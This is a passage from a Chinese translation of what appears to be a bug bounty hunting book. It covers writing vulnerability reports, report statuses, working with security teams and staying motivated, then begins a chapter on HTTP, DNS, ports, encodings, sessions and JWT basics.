user_id。由于每个用户的公开资料页面都会列出账户的user_id,任何人都可以访问任何用户的个人资料,找到他们的user_id并更改他们的密码。而且因为user_id是简单的顺序数字,黑客甚至可以枚举所有user_id,并更改所有用户的密码!这个漏洞将让攻击者轻松接管任何用户的账户。
一个好的影响部分会说明攻击者如何现实地利用漏洞。它会考虑到任何缓解因素以及可以实现的最大影响。绝不应该夸大漏洞的影响或包括任何假设性的情景。
步骤 7:推荐可能的缓解措施
你还可以推荐安全团队可以采取的可能措施,以减轻漏洞带来的影响。这将为团队节省研究缓解措施时的时间。通常,作为发现漏洞的安全研究员,你会熟悉该应用程序功能的特定行为,因此有很好的条件提出一个全面的修复方案。
然而,除非你对问题的根本原因有很好的了解,否则不要提出修复建议。内部团队可能拥有更多的背景和专业知识,可以提供适用于其环境的适当缓解策略。如果你不确定漏洞的原因或可能的修复方法,避免给出任何建议,以免让读者感到困惑。
你可以提出以下一种可能的缓解措施:
应用程序应该在更改密码请求中验证用户的
user_id参数,以确保该用户有权进行帐户修改。未经授权的请求应该被应用程序拒绝并记录。
你不必深入讲解修复的技术细节,因为你并不了解应用程序底层的代码库。但作为了解漏洞类别的人,你可以提供一个缓解措施的方向。
第 8 步:验证报告
最后,始终验证你的报告。最后一次仔细检查报告,确保没有技术错误,或者任何可能阻碍安全团队理解的内容。按照你自己的“重现步骤”来确保它们包含足够的细节。检查所有的 POC 文件和代码,确保它们可用。通过验证报告,你可以最大限度地减少提交无效报告的可能性。
提高报告质量的额外提示
以下是一些额外的提示,帮助你提交尽可能优秀的报告。
不要做任何假设
首先,不要假设安全团队能理解你报告中的所有内容。记住,你可能已经与这个漏洞工作了一周,但对于接收报告的安全团队来说,这一切都是新的信息。他们还肩负着其他大量的责任,通常不像你那样熟悉这个功能。此外,报告并不总是分配给安全团队的。较新的程序、开源项目和初创公司可能依赖开发人员或技术支持人员来处理错误报告,而不是拥有专门的安全团队。帮助他们理解你所发现的内容。
尽量详细,包含你能想到的所有相关细节。最好还包括一些链接,解释一些安全团队可能不熟悉的晦涩安全知识。想一想详细与遗漏关键信息之间的潜在后果。如果你太啰嗦,最糟糕的情况是报告多读两分钟。但如果你遗漏了重要细节,漏洞的修复可能会被推迟,恶意黑客可能会利用这个漏洞。
清晰简洁
另一方面,不要包含任何不必要的信息,例如冗长的问候、笑话或表情包。安全报告是商业文档,而不是写给朋友的信件。它应该直截了当、简明扼要。尽量让你的报告简短,且不遗漏关键细节。你应始终尽量节省安全团队的时间,让他们可以立刻着手修复漏洞。
写出你想阅读的内容
写作时要时刻考虑读者,尽量为他们打造良好的阅读体验。以对话的语气写作,避免使用黑客术语、俚语或缩写。这些会让文本更难阅读,并增加读者的不满。
保持专业
最后,始终以尊重和专业的态度与安全团队沟通。耐心而及时地对报告进行澄清。
在编写报告时,你可能会犯错,误解不可避免地会发生。但请记住,作为安全研究员,你有能力通过投入时间和精力在写作上,最大限度地减少这种可能性。通过提升你的报告技能,除了黑客技能外,你可以节省每个人的时间,最大化你作为黑客的价值。
与开发团队建立关系
作为黑客,你的工作在提交报告的那一刻并不会结束。作为发现漏洞的人,你应该帮助公司修复问题,并确保漏洞得到充分修补。
让我们来谈谈在报告提交后如何与安全团队互动,以及如何建立与他们的良好关系。与安全团队建立强有力的关系有助于更快更顺利地解决你的报告。如果你能持续为组织的安全做出贡献,甚至可能会带来更大的漏洞奖励。有些漏洞赏金猎人因为漏洞发现,甚至收到了顶级科技公司面试或工作邀请!我们将讨论报告的不同状态、在缓解过程中你应该做什么,以及如何处理与安全团队沟通时的冲突。
理解报告状态
一旦提交报告,安全团队会将其分类为报告状态,这描述了报告当前的状态。随着缓解过程的推进,报告状态会发生变化。你可以在漏洞赏金平台的界面或收到的安全团队消息中找到报告状态。
需要更多信息
你会看到最常见的报告状态是需要更多信息。这意味着安全团队没有完全理解你的报告,或者无法通过你提供的信息重现问题。安全团队通常会跟进,提出问题或要求更多关于漏洞的额外信息。
在这种情况下,你应该修改报告,提供任何缺失的信息,并解决安全团队提出的额外问题。
信息性
如果安全团队将你的报告标记为信息性,他们将不会修复该漏洞。这意味着他们认为你报告的问题是一个安全隐患,但并不严重到需要修复。那些不会影响其他用户的漏洞,比如在在线游戏中提升自己分数的能力,通常属于这一类别。另一类经常被标记为信息性的问题是缺失的安全最佳实践,比如允许用户重复使用密码。
在这种情况下,你不能再为报告做任何事情!公司不会支付你漏洞奖励,也不需要你继续跟进,除非你认为安全团队犯了错误。不过,我确实建议你跟踪信息性问题,并尝试将它们串联成更大、更具影响力的漏洞。
重复
重复报告状态意味着另一个黑客已经发现了该漏洞,公司正在修复该漏洞。
不幸的是,由于公司只会奖励第一个发现漏洞的黑客,因此你无法从重复的报告中获得报酬。除了帮助公司解决问题外,报告没有其他用途。你还可以尝试将漏洞升级或串联成一个更具影响力的漏洞。这样,安全团队可能会将新的报告视为一个独立的问题,并给予奖励。
不适用
不适用 (N/A)状态意味着你的报告不包含具有安全隐患的有效安全问题。这可能发生在报告中存在技术错误,或者漏洞是故意的应用行为时。
不适用的报告不会支付报酬。你此时唯一需要做的就是继续前进,继续进行黑客攻击!
已分类
当安全团队对报告进行分类时,意味着他们已经在他们的端验证了报告。这对你来说是好消息,因为这通常意味着安全团队将修复漏洞,并奖励你漏洞奖励。
一旦报告经过分类,你应该帮助安全团队修复问题。及时跟进他们的问题,并提供他们要求的任何额外信息。
已解决
当你的报告被标记为已解决时,报告的漏洞已经被修复。此时,拍拍自己背,庆祝你让互联网变得更加安全。如果你参与的是付费漏洞奖励计划,你也可以期待在这个时候收到报酬!
此报告没有其他操作需要进行,除了庆祝并继续进行黑客攻击。
处理冲突
不是所有报告都能快速且顺利地解决。当黑客和安全团队在漏洞的有效性、严重性或适当的赏金金额上存在分歧时,冲突是不可避免的。即便如此,冲突可能会毁掉你作为黑客的声誉,因此以专业的态度处理这些冲突是成功的漏洞猎人职业生涯的关键。如果你发现自己与安全团队发生冲突,以下是你应该采取的措施。
当你与安全团队对漏洞的有效性存在分歧时,首先确保你初始报告中的所有信息是正确的。通常,安全团队会因为技术或写作错误而将报告标记为信息性或不适用。例如,如果你在 POC 中包含了错误的 URL,安全团队可能无法重现该问题。如果是这个原因导致了分歧,尽快发送一份包含正确信息的后续报告。
另一方面,如果你在报告中没有犯错,但仍然认为他们错误地标记了该问题,可以发送后续报告,解释为什么你认为这个漏洞是一个安全问题。如果仍然无法解决误解,你可以请求漏洞赏金平台或团队中的其他安全工程师进行调解。
大多数情况下,如果一个漏洞不属于一个众所周知的漏洞类别,其他人很难看到其影响。如果安全团队忽视了报告问题的严重性,你应该解释一些潜在的攻击场景,以充分说明其影响。
最后,如果你对赏金金额不满意,要毫无怨言地表达出来。询问组织分配该赏金的原因,并解释为什么你认为你应获得更高的奖励。例如,如果负责你报告的人低估了漏洞的严重性,你可以在要求更高奖励时详细说明该问题的影响。无论如何,始终避免在没有解释的情况下要求更多的钱。
记住,我们都会犯错。如果你认为处理你报告的人处理不当,礼貌地请求重新考虑。一旦你陈述了自己的理由,尊重公司对修复和赏金金额的最终决定。
建立合作关系
漏洞赏金的旅程并不在你解决报告之后就结束。你应该努力与组织建立长期的合作伙伴关系。这有助于让你的报告更加顺利地解决,甚至可能为你带来面试或工作机会。通过尊重他们的时间并保持专业沟通,你可以与公司建立良好的关系。
首先,通过始终提交经过验证的报告来赢得尊重。不要通过垃圾邮件、纠缠他们要钱,或者口头辱骂安全团队来破坏公司的信任。反过来,他们会尊重你,并将你作为研究人员优先考虑。公司通常会禁止那些不尊重或不讲理的猎人,因此要尽量避免落入这些类别。
同时,了解你与之合作的每个组织的沟通风格。他们在报告中期望多少细节?你可以通过阅读安全团队公开披露的报告,或者在未来的报告中融入他们对你报告的反馈来了解他们的沟通风格。他们是否期望有大量的照片和视频来记录漏洞?定制你的报告,以便让读者更容易理解。
最后,确保在安全团队解决问题之前支持他们。许多组织在报告分类后会支付奖励,但请不要在收到奖励后就抛下安全团队!如果有要求,请提供建议帮助缓解漏洞,并帮助安全团队确认问题已修复。有时组织会要求你进行付费重测。如果可以的话,务必抓住这个机会。你不仅能赚到钱,还能帮助公司更快地解决问题。
了解你失败的原因
你已经投入了数小时来寻找漏洞,却一个漏洞都没找到。或者你不断提交报告,结果被标记为“信息性”、“无关”或“重复”。
你遵守了所有规则,使用了所有工具。那么,出了什么问题?排行榜上的黑客到底在隐藏什么秘密?在这一节中,我将讨论那些让你无法成功进行漏洞悬赏的错误,并告诉你如何改进。
为什么你没有找到漏洞
如果你花了很多时间做漏洞悬赏,但仍然找不到漏洞,可能有以下几个原因。
你参与了错误的程序
你可能一直在针对错误的程序。漏洞悬赏计划并非都一样,选择正确的计划至关重要。一些程序因缺乏资源处理报告而延迟修复漏洞。有些程序为了避免支付黑客报酬,会轻描淡写漏洞的严重性。最后,还有些程序将其范围限制在少数资产上。它们运行漏洞悬赏计划只是为了获得正面宣传,实际上并不打算修复漏洞。避免这些计划,以免让自己头疼。
你可以通过阅读公开披露的报告、分析漏洞悬赏平台上的程序统计数据,或者与其他黑客交流来识别这些程序。漏洞悬赏平台上列出的程序统计数据提供了关于一个程序执行效果的很多信息。避免响应时间长和平均悬赏低的程序。仔细选择目标,优先考虑那些投入资源于漏洞悬赏计划的公司。
你没有坚持一个程序
你应该针对一个程序进行多长时间的测试?如果你的答案是几个小时或几天,那就是你没有找到任何漏洞的原因。初学者常犯的另一个错误是不断跳跃于不同的程序之间。
每个漏洞赏金项目都有无数的漏洞赏金猎人在攻击。通过与竞争对手区分开来,你才能提高找到漏洞的机会,否则可能什么也找不到!你可以通过两种方式与竞争对手区分开来:深入挖掘或广泛搜索。例如,深入研究应用程序的单一功能,寻找复杂的漏洞,或者发现并攻击公司较少为人知的资产。
做好这些事情需要时间。不要指望在刚开始接触一个项目时立刻找到漏洞。如果你第一天没有找到漏洞,也不要放弃这个项目。
你没有进行侦察
跳进大型公开项目而不进行侦察是另一个失败的原因。有效的侦察(我们将在第五章讨论)能帮助你发现新的攻击面:新的子域名、新的端点和新的功能。
花时间进行侦察能为你提供无与伦比的优势,因为你将是第一个注意到你发现的所有不显眼资产上的漏洞的人,这样你就有更大的机会发现不重复的漏洞。
你只关注低悬果实
初学者常犯的另一个错误是依赖漏洞扫描器。公司通常会扫描和审计他们的应用程序,其他漏洞赏金猎人也经常这样做,因此这种方法不会给你带来好的结果。
同样,避免只寻找明显的漏洞类型。对于大型目标上的简单漏洞,很可能已经被发现过了。许多漏洞赏金项目在公开之前是私密的,这意味着一些经验丰富的黑客可能已经报告了最容易发现的漏洞。例如,许多黑客可能已经测试过论坛评论区的存储型 XSS 漏洞。
这并不是说你不应该寻找一些明显的漏洞。只是如果你没有通过这种方式找到漏洞,不要灰心丧气。相反,努力深入理解应用程序的底层架构和逻辑。从那里开始,你可以制定一个独特的测试方法,进而发现更多独特且有价值的漏洞。
你无法进入私人项目
在私人项目上进行黑客攻击后,发现漏洞变得容易得多。许多成功的黑客表示,他们的大部分发现来自私人项目。私人项目比公开项目的竞争要少,因此你会面临更少的竞争,而较少的竞争通常意味着更容易发现漏洞,也更少重复报告。
为什么你的报告被驳回
如前所述,三种类型的报告不会导致奖励:N/A、信息性报告和重复报告。在本节中,我将讨论你可以做些什么来减少这些失望。
减少无效报告的数量对每个人都有好处。这不仅能节省你的时间和精力,还能节省安全团队处理这些报告所花费的工作人员时间。以下是一些原因,解释为什么你的报告一直被驳回。
你没有阅读漏洞赏金政策
报告被标记为 N/A 的最常见原因之一是它们超出了范围。一个项目的政策页面通常有一个标有范围的部分,告诉你哪些公司资产是你可以攻击的。大多数时候,政策页面还会列出不在范围内的漏洞和资产,意味着你不可以报告这些内容。
防止提交无关报告的最好方法是仔细且反复阅读赏金政策。哪些漏洞类型不在范围内?组织的哪些资产不在范围内?尊重这些边界,避免提交超出范围的漏洞。
如果你意外发现了一个超出范围的关键问题,如果你认为这是组织必须知道的内容,仍然可以报告!你可能不会得到奖励,但你仍然可以为公司的安全做出贡献。
你没有站在组织的角度思考
无关报告比无报告更难防止。大多数时候,你会收到无关报告评级,因为公司并不关心你报告的问题。
想象自己是安全工程师。如果你每天忙于保护数百万用户的数据,你会在乎一个只能用于钓鱼攻击的开放重定向漏洞吗?虽然这是一个有效的安全缺陷,但你可能不会在意。你有其他责任要处理,所以修复一个低危漏洞可能排在待办事项的最后。如果安全团队没有额外的人员来处理这些报告,他们有时会忽略它并将其标记为无关报告。
我发现,减少无关报告的最有效方法是将自己置身于组织的角度。了解该组织,以便识别其产品、它所保护的数据以及其应用程序中最重要的部分。一旦了解了该业务的优先事项,就可以着重寻找安全团队关心的漏洞。
记住,不同的公司有不同的优先事项。对一个组织来说是无关报告的漏洞,可能对另一个组织来说是关键漏洞。就像本章早些时候提到的约会网站与求职网站的例子,一切都是相对的。有时候,很难判断一个漏洞对组织来说有多重要。我曾经将一些报告为关键的漏洞,最终被评为无关报告。也有一些我认为是低影响的漏洞,最终被奖励为关键问题。
这时,反复试验就能带来收获。每次安全团队将你的报告归类为无关报告时,记下来以便未来参考。下次你发现漏洞时,问问自己:这家公司过去曾关心过类似问题吗?了解每家公司关心的内容,并根据其业务优先事项调整你的攻击方向。最终,你将培养出直觉,知道哪些漏洞能带来最大的影响。
你不应将漏洞串联
你可能也因为总是报告你找到的第一个小漏洞而收到无关报告。
但是,被分类为信息性的轻微漏洞,如果你学会将它们串联起来,可能会变成大问题。当你发现一个低危漏洞,可能会被忽略时,不要立即报告它。试着在未来的漏洞链中使用它。例如,替代报告一个开放重定向漏洞,可以将其用于服务器端请求伪造(SSRF)攻击!
你写的报告很差
另一个初学者常犯的错误是,他们没有在报告中清晰地传达漏洞的影响。即使漏洞很严重,如果你无法向安全团队传达其含义,他们也会忽视报告。
重复漏洞怎么办?
不幸的是,有时你无法避免重复漏洞。但你可以通过攻击具有大范围的项目、攻击私有项目、进行广泛的侦察以及开发独特的攻击方法来降低遇到重复漏洞的几率。
当你卡住时该怎么办
当我刚开始做漏洞赏金时,我经常会有好几天或几周没有找到任何漏洞。我的第一个目标是一个范围很大的社交媒体网站。但在报告了我的第一个 CSRF 和 IDOR 漏洞之后,我很快就没有了思路(和运气)。我开始一遍又一遍地检查相同的漏洞,并尝试不同的自动化工具,但都没有效果。
后来我发现我并不孤单;这种漏洞低潮在新手黑客中出奇的常见。让我们谈谈当你陷入困境时,如何从挫败中恢复过来并改善你的结果。
第 1 步:休息一下!
首先,休息一下。黑客攻击是一项艰难的工作。与电影中展示的不同,寻找漏洞是枯燥且困难的。它需要耐心、坚持和对细节的关注,因此可能非常耗费精神。
在继续攻击之前,问问自己:我累了吗?缺乏灵感可能是大脑在告诉你它已经到达极限了。在这种情况下,你最好的选择是休息一下。出去走走。和朋友见面。吃点冰淇淋。或者呆在家里。泡杯茶。读一本好书。
生活不只有 SQL 注入和 XSS 负载。如果你暂时休息一下,再回来时,你会发现自己变得更加富有创造力。
第 2 步:建立你的技能集
把你的黑客低潮当作提升自己技能的机会。黑客们常常会卡住,因为他们对某些熟悉的技巧过于依赖,当这些技巧不再有效时,他们错误地认为没有其他可尝试的办法。学习新技能将让你走出舒适区,并增强你未来的黑客技能。
首先,如果你还不熟悉基本的黑客技术,参考测试指南和最佳实践来巩固你的技能。例如,开放式 Web 应用安全项目(OWASP)发布了各种资产类型的测试指南。你可以在owasp.org/www-project-web-security-testing-guide/和owasp.org/www-project-mobile-security-testing-guide/找到 OWASP 的 web 和移动测试指南。
学习一种新的黑客技巧,无论是新的 web 漏洞利用技巧,新的侦察角度,还是不同的平台,比如 Android。专注于你想要提高的具体技能,阅读相关资料,并将其应用到你正在攻击的目标上。谁知道呢?你可能会发现一种全新的方式来接触目标应用!你也可以利用这个机会,通过阅读许多黑客博客和总结网站来了解其他黑客的做法。了解其他黑客的方法可以为你提供一种新的视角,以应对你的目标。
接下来,玩 夺旗赛(CTFs)。在这些安全竞赛中,选手寻找可以证明他们已成功侵入系统的旗帜。CTF 是了解新漏洞的好方法。它们也很有趣,并且通常包含有趣的新漏洞类别。研究人员不断发现新的漏洞利用技术,保持对这些技术的掌握将确保你不断找到漏洞。
步骤 3:获得新视角
当你准备好再次攻击实时目标时,以下是一些帮助你保持动力的建议。
首先,攻击单一目标可能会感到无聊,所以要多样化你的目标,而不是只关注一个。我发现轮换几个目标是很有帮助的。当你对一个应用感到疲倦时,换到另一个目标,稍后再回到第一个。
其次,确保你在攻击目标时是有针对性地寻找特定内容,而不是漫无目的地寻找任何东西。列出你学到的新技能并加以实践。寻找一种新的漏洞,或者尝试一种新的侦察角度。然后,反复实践,直到找到一个合适的新工作流程。
最后,记住,黑客攻击并不总是关于找到一个单一的漏洞,而是将应用程序的多个弱点组合成一个关键问题。在这种情况下,专门寻找异常行为而不是漏洞会更有帮助。然后记录下这些异常行为和弱点,看看是否能将它们串联成值得报告的内容。
最后,一些经验之谈
漏洞赏金猎杀是困难的。当我开始寻找漏洞时,有时几个月都找不到一个。而当我找到一个时,往往是一些微不足道、低危的漏洞。
提高任何技能的关键在于练习。如果你愿意投入时间和精力,你的黑客技能将得到提升,没多久你就会出现在排行榜和私人邀请名单上!如果在这个过程中感到沮丧,记住一切都会随着时间变得更容易。如果你需要帮助,可以向黑客社区求助。祝你好运!
第三章:互联网如何工作

在你开始寻找 bug 之前,让我们先花点时间了解一下互联网的工作原理。发现网页漏洞的关键在于利用这一技术中的薄弱环节,因此,所有优秀的黑客都应该对其有一个扎实的理解。如果你已经熟悉这些过程,可以跳过,直接进入我对互联网安全控制的讨论。
以下问题提供了一个很好的起点:当你在浏览器中输入www.google.com时发生了什么?换句话说,浏览器是如何从像 google.com 这样的域名,找到你正在寻找的网页的?我们一起来探讨一下。
客户端-服务器模型
互联网由两种设备组成:客户端和服务器。客户端 请求资源或服务,而服务器 提供这些资源和服务。当你使用浏览器访问网站时,浏览器充当客户端并请求从 web 服务器获取网页。然后,web 服务器会将网页发送给你的浏览器(见图 3-1)。

图 3-1:互联网客户端从服务器请求资源。
一个网页不过是由 web 服务器发送的一组资源或文件。例如,至少服务器会发送给你的浏览器一个用超文本标记语言 (**HTML) 编写的文本文件,这种语言告诉浏览器应该显示什么内容。大多数网页还包括层叠样式表 (CSS) 文件,以使页面更加美观。有时,网页还包含JavaScript (**JS) 文件,这些文件使得网页能够进行动画处理,并且能够在不经过服务器的情况下响应用户输入。例如,JavaScript 可以在用户滚动页面时调整图像大小,并且在将用户输入发送到服务器之前,在客户端验证这些输入。最后,你的浏览器可能会接收到嵌入式资源,如图像和视频。浏览器会将这些资源合并,展示出你所看到的网页。
服务器不仅仅是将网页返回给用户。Web API 允许应用程序请求其他系统的数据。这使得应用程序能够相互交互,并以受控的方式共享数据和资源。例如,Twitter 的 API 允许其他网站向 Twitter 的服务器发送请求,以获取公开推文及其作者等数据。API 还为互联网的许多其他功能提供支持,我们将在第二十四章中重新探讨它们以及相关的安全问题。
域名系统
那么,浏览器和其他 web 客户端是如何知道在哪里找到这些资源的呢?每个连接到互联网的设备都有一个独特的互联网协议(IP) 地址,其他设备可以利用这个地址找到它。然而,IP 地址由数字和字母组成,对人类来说很难记住。例如,旧版的 IP 地址格式 IPv4 像这样:123.45.67.89。新版的 IPv6 看起来更复杂:2001:db8::ff00:42:8329。
这时域名系统(DNS)发挥作用。DNS 服务器充当互联网的电话簿,将域名转换为 IP 地址(图 3-2)。当你在浏览器中输入一个域名时,DNS 服务器必须首先将该域名转换为 IP 地址。我们的浏览器会询问 DNS 服务器:“这个域名对应的 IP 地址是什么?”

图 3-2:DNS 服务器会将域名转换为 IP 地址。
互联网端口
在浏览器获取到正确的 IP 地址后,它会尝试通过端口连接到该 IP 地址。端口是设备上的逻辑划分,用来标识特定的网络服务。我们通过端口号来识别端口,端口号的范围是 0 到 65,535。
端口允许服务器同时为互联网提供多个服务。由于对某些端口接收的流量有约定,端口号还允许服务器快速将到达的互联网消息转发到相应的服务进行处理。例如,如果一个互联网客户端连接到端口 80,网页服务器就能理解客户端希望访问其网页服务(图 3-3)。

图 3-3:端口允许服务器提供多个服务。端口号帮助将客户端请求转发到正确的服务。
默认情况下,我们使用端口 80 来处理 HTTP 消息,使用端口 443 来处理 HTTPS,HTTPS 是 HTTP 的加密版本。
HTTP 请求和响应
一旦连接建立,浏览器和服务器通过超文本传输协议(HTTP)进行通信。HTTP 是一套规则,规定了如何构建和解释互联网消息,以及网页客户端和网页服务器应如何交换信息。
当你的浏览器想要与服务器交互时,它会发送HTTP 请求给服务器。HTTP 请求有不同的类型,最常见的是 GET 和 POST。按惯例,GET 请求从服务器获取数据,而 POST 请求将数据提交给服务器。其他常见的 HTTP 方法包括 OPTIONS,用于请求某个 URL 允许的 HTTP 方法;PUT,用于更新资源;DELETE,用于删除资源。
这是一个示例 GET 请求,它请求服务器的www.google.com主页:
GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Connection: close
让我们一起走一遍这个请求的结构,因为在本书中你会看到很多这样的例子。所有的 HTTP 请求都由请求行、请求头和可选的请求体组成。前面的例子仅包含了请求行和请求头。
请求行是 HTTP 请求的第一行。它指定了请求方法、请求的 URL 和所使用的 HTTP 版本。在这里,你可以看到客户端正在使用 HTTP 版本 1.1 向www.google.com的主页发送 HTTP GET 请求。
剩下的几行是 HTTP请求头。这些头部用于将关于请求的附加信息传递给服务器。这允许服务器定制发送给客户端的结果。在前面的示例中,Host头指定了请求的主机名。User-Agent头包含请求软件的操作系统和软件版本,例如用户的 Web 浏览器。Accept、Accept-Language和Accept-Encoding头告诉服务器响应应该采用什么格式。而Connection头则告诉服务器在响应后是否应保持网络连接。
你可能会在请求中看到一些其他常见的头部。Cookie头用于将客户端的 Cookie 发送到服务器。Referer头指定链接到当前页面的上一网页的地址。Authorization头包含用于认证用户的凭证。
在服务器接收到请求后,它会尝试满足请求。服务器会通过使用HTTP 响应返回构建网页所需的所有资源。一个 HTTP 响应包含多个内容:HTTP 状态码,用来指示请求是否成功;HTTP 头部,包含浏览器和服务器用来相互通信的有关认证、内容格式和安全策略的信息;以及 HTTP 响应体,即你请求的实际网页内容。网页内容可以包括 HTML 代码、CSS 样式表、JavaScript 代码、图片等。
这是一个 HTTP 响应的示例:
1 HTTP/1.1 200 OK2 Date: Tue, 31 Aug 2021 17:38:14 GMT
[...]3 Content-Type: text/html; charset=UTF-84 Server: gws5 Content-Length: 190532
<!doctype html>
[...]
<title>Google</title>
[...]
<html>
注意第一行中的200 OK消息。这是状态码。200 范围内的 HTTP 状态码表示请求成功。300 范围表示重定向到另一个页面,而 400 范围表示客户端出错,比如请求了一个不存在的页面。500 范围表示服务器本身出现了错误。
作为一个漏洞奖励猎人,你应该时刻关注这些状态码,因为它们能告诉你很多关于服务器运行情况的信息。例如,状态码 403 表示资源对你是禁止的。这可能意味着页面上隐藏了敏感数据,如果你能够绕过访问控制,可能就能访问到这些数据。
响应中用冒号(:)分隔的接下来几行是 HTTP 响应头。它们允许服务器将有关响应的附加信息传递给客户端。在这种情况下,你可以看到响应时间是Tue, 31 Aug 2021 17:38:14 GMT。Content-Type头表示响应体的文件类型。在本例中,该页面的Content-Type是text/html。服务器版本是 Google Web Server(gws),Content-Length为 190,532 字节。通常,额外的响应头会指定内容的格式、语言和安全策略。
除了这些,你还可能会遇到一些其他常见的响应头。Set-Cookie 头由服务器发送给客户端,用于设置一个 cookie。Location 头表示页面重定向的 URL。Access-Control-Allow-Origin 头指示哪些来源可以访问页面内容。(我们将在第十九章中详细讨论这一点。)Content-Security-Policy 控制浏览器允许加载的资源的来源,而 X-Frame-Options 头指示页面是否可以在 iframe 中加载(第八章将进一步讨论这一点)。
空白行之后的数据是响应体,包含网页的实际内容,比如 HTML 和 JavaScript 代码。一旦浏览器接收到构建网页所需的所有信息,它会为你渲染所有内容。
网络安全控制
现在你已经对信息如何在互联网中传输有了高层次的理解,接下来让我们深入探讨一些基本的安全控制措施,这些措施能够保护信息免受攻击者的侵害。为了有效地寻找漏洞,你通常需要想出创造性的方式绕过这些控制,因此你首先需要理解它们是如何工作的。
内容编码
在 HTTP 请求和响应中传输的数据并不总是以纯文本的形式进行传输。网站通常会以不同的方式对消息进行编码,以防止数据损坏。
数据编码作为一种方式,用于在支持不同内容类型有限的机器之间可靠地传输二进制数据。用于编码的字符是常见的字符,在互联网协议中不会作为受控字符使用。因此,当你使用常见的编码方案对内容进行编码时,你可以放心,数据将完整地传输到目的地。相反,如果你以原始状态传输数据,当互联网协议误解消息中的特殊字符时,数据可能会出现问题。
Base64 编码 是最常见的数据编码方式之一。它常用于在网页消息中传输图像和加密信息。这是字符串 "Content Encoding" 的 Base64 编码版本:
Q29udGVudCBFbmNvZGluZw==
Base64 编码的字符集包括大写字母 A 到 Z、小写字母 a 到 z、数字字符 0 到 9、字符 + 和 /,最后是用于填充的 = 字符。Base64url 编码 是 Base64 的一种修改版本,专门用于 URL 格式。它与 Base64 相似,但使用了不同的非字母数字字符,并且省略了填充。
另一种常见的编码方法是十六进制编码。十六进制编码,或称hex,是一种用基数 16 格式表示字符的方法,其中字符的范围是从 0 到 F。十六进制编码占用的空间比 base64 多,效率也较低,但提供了更易于人类阅读的编码字符串。这是字符串"Content Encoding"的十六进制编码版本;你可以看到它比 base64 对应的编码版本占用更多的字符:
436f6e74656e7420456e636f64696e67
URL 编码是一种将字符转换为更容易通过互联网传输的格式的方法。URL 编码字符串中的每个字符可以通过其指定的十六进制数字表示,并以 % 符号开头。有关 URL 编码的更多信息,请参阅维基百科:en.wikipedia.org/wiki/Percent-encoding。
例如,单词localhost可以用它的 URL 编码等效形式表示,即%6c%6f%63%61%6c%68%6f%73%74。你可以使用像 URL Decode and Encode(www.urlencoder.org/)这样的 URL 计算器来计算主机名的 URL 编码等效形式。
我们将在第十三章讨论 SSRF 时介绍几种额外的字符编码类型——八进制编码和双字编码。当你在调查网站时看到编码内容时,始终尝试解码它,以发现网站想要传达的内容。你可以使用 Burp Suite 的解码器来解码编码的内容。我们将在下一章介绍如何操作。或者,你也可以使用 CyberChef(gchq.github.io/CyberChef/)来解码 base64 内容和其他类型的编码内容。
服务器有时还会在传输前加密其内容。这可以保持客户端和服务器之间的数据私密性,并防止任何拦截流量的人窃听消息。
会话管理和 HTTP Cookie
为什么每次关闭电子邮件标签页后你不需要重新登录?因为网站记住了你的会话。会话管理是一个过程,它允许服务器处理来自同一用户的多个请求,而不要求用户再次登录。
网站会为每个已登录的用户维护一个会话,并且当你登录网站时,一个新的会话开始(图 3-4)。服务器会为你的浏览器分配一个相关的会话 ID,作为你身份的证明。会话 ID 通常是一个长且不可预测的序列,旨在无法猜测。当你登出时,服务器结束会话并撤销会话 ID。如果你没有手动登出,网站可能也会定期结束会话。

图 3-4:在你登录后,服务器为你创建一个会话并发放会话 ID,该 ID 唯一地标识一个会话。
大多数网站使用 cookie 来在 HTTP 请求中传递会话信息。HTTP cookies 是网站服务器发送到你浏览器的小片数据。当你登录网站时,服务器为你创建一个会话,并将会话 ID 作为 cookie 发送到你的浏览器。浏览器收到 cookie 后,会将其存储,并在每次向同一服务器发起请求时都包含它(图 3-5)。
这就是服务器如何知道是你的原因!在会话 cookie 生成之后,服务器会跟踪它并用它来验证你的身份。最后,当你登出时,服务器会使会话 cookie 无效,从而防止它再次使用。下次你登录时,服务器将为你创建一个新的会话和一个新的关联会话 cookie。

图 3-5:你的会话 ID 与存储在服务器上的会话信息相关联。
基于令牌的身份验证
在基于会话的身份验证中,服务器存储你的信息,并使用相应的会话 ID 来验证你的身份,而 基于令牌的身份验证 系统则直接将这些信息存储在某种令牌中。令牌允许服务器通过解码令牌本身来推断你的身份,而不是将信息存储在服务器端并使用会话 ID 查询它。这样,应用程序就不必在服务器端存储和维护会话信息。
这个系统有一个风险:如果服务器使用令牌中包含的信息来确定用户的身份,用户是否可以修改令牌中的信息,从而冒充其他人登录?为了防止像这样的令牌伪造攻击,一些应用程序对令牌进行加密,或对令牌进行编码,使得只有应用程序本身或其他授权方可以读取。如果用户无法理解令牌的内容,他们可能也无法有效篡改它。加密或编码令牌并不能完全防止令牌伪造。攻击者仍然有办法在不理解令牌内容的情况下篡改加密的令牌。但这比篡改明文令牌要困难得多。攻击者通常可以解码编码的令牌来篡改它们。
应用程序保护令牌完整性的另一种更可靠方法是对令牌进行签名,并在令牌到达服务器时验证其签名。签名用于验证数据的完整性。它们是只有知道秘密密钥的人才能生成的特殊字符串。由于没有办法在没有秘密密钥的情况下生成有效的签名,并且只有服务器知道这个秘密密钥,因此有效签名表明令牌可能没有被客户端或任何第三方篡改。尽管应用程序的实现可能有所不同,但基于令牌的身份验证就是这样工作的:
-
用户使用他们的凭证进行登录。
-
服务器验证这些凭证并为用户提供一个签名令牌。
-
用户在每次请求时都会发送令牌,以证明他们的身份。
-
在接收到并验证令牌后,服务器会从令牌中读取用户的身份信息并响应机密数据。
JSON Web 令牌
JSON Web Token(JWT)是最常用的认证令牌类型之一。它由三个部分组成:头部、负载和签名。
头部标识用于生成签名的算法。它是一个包含算法名称的 base64url 编码字符串。下面是 JWT 头部的示例:
eyBhbGcgOiBIUzI1NiwgdHlwIDogSldUIH0K
这个字符串是以下文本的 base64url 编码版本:
{ "alg" : "HS256", "typ" : "JWT" }
负载部分包含有关用户身份的信息。这个部分在用于令牌之前,也会进行 base64url 编码。以下是负载部分的示例,它是{ "``user_name``" : "``admin``", }的 base64url 编码字符串:
eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg
最后,签名部分验证用户是否篡改了令牌。它通过将头部与负载连接在一起,然后使用头部中指定的算法和密钥对其进行签名来计算。下面是 JWT 签名的示例:
